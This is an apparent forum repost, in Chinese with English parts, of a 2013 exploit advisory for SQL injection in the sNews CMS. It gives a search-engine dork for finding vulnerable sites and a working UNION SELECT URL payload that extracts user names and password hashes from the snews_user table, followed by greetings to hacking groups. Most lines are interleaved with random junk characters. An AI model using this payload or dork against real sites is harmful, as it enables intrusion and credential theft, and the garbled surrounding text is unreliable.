标题: CMS snews SQL Injection Vulnerability
M3 M. G) I- p作者: By onestree4 o+ ?$ F. w% e% K
下载地址 : http://snewscms.com/
4 H a! F" U2 w( S; r, h测试平台 : ubuntu 12.10 / win 7
" V% w0 K% G' A+ V8 Z- X关键词: inurl:"tanyakan pada rumput yang bergoyang"
" i2 K7 A: j! I: ]1 W* n2 S, [
% f* |! w% T3 c/ i$ P: I3 Y
/ s% N3 c0 `0 Q+ E7 H*************************************************************
# D9 V* e, {! l
# } v, ]5 ~+ W8 F& w9 J( m9 wSQL poc:
6 s( z( V+ _) l1 R$ L' Q + Z0 h/ A9 ^! z
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]. y' H# t2 a+ }/ Y
. d( d* D/ N/ Q
示例2 S' e( ^0 p+ ?: W, y
1 C7 Z( [9 N8 D& r G
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
9 K- X8 R& _' I9 v$ A& o ( S: T! T; k( r# ]5 f- Y! n
4 w# z+ [6 u3 h6 Z( K5 f h致谢:1 |7 t& L- _% z$ T
! w1 {: b! u! {! f' ? Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell" h5 \; s/ k4 B- d
Y# F" I+ a0 K8 Y" M indonesiancoder - moeslimh4x0r - go-coder/ F* A% U: E; ~ ^2 ^, s5 A
% `$ H( J* }2 V+ z5 \, F& }spesial my hunny :*
( H$ B' z+ O- |* U/ ~' T- B |
发表于 2013-1-23 08:55:06
收藏
支持
反对